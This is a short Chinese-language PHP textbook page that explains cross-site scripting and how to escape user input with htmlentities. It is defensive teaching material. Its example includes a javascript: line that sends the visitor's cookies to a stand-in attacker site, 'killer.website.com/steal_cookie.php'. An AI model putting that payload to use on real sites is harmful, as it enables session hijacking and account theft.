跳轉至內容

PHP 程式設計/跨站點指令碼攻擊

來自華夏公益教科書,面向開放世界的開放書籍


跨站點指令碼 (或 XSS) 是對指令碼傳送敏感資訊(如 cookie 或其他會話識別符號)到其他網站的基本描述。

通常,這些攻擊會影響內容可以編輯或新增的網站。在大多數情況下,會話識別符號甚至使用者名稱/密碼都儲存在 cookie 中。如果有人知道會話識別符號,他們可以在自己的機器上輕鬆使用它來執行任何惡意任務,而這些任務不會讓你滿意。

現在,如果你在華夏公益教科書或任何其他網站上登入,請訪問該頁面並在位址列中鍵入以下內容

javascript:void(alert(document.cookie))

這些是每次傳送到網站以識別你的 cookie。如果你的網站沒有防範 XSS,駭客會寫下類似這樣的內容

javascript:void(document.location('http://killer.website.com/steal_cookie.php?cookie_data='+document.cookie))

這將把 cookie 資訊傳送到他們的網站。

如果不刪除會提交到另一個網站的惡意 HTML/JavaScript 程式碼,就無法保護自己免受 XSS 攻擊。

到目前為止,最常見的方法是使用 htmlentitieshtmlspecialchars 過濾編碼,這樣就沒有人可以在你的網站(例如部落格評論)中新增任何 HTML。

$message = htmlentities($message);

另一種方法是建立任何型別的“保護模式”程式碼,例如 MediaWiki、BBCode 或其他為方便使用者內容的樣式/格式而發明的程式碼。



華夏公益教科書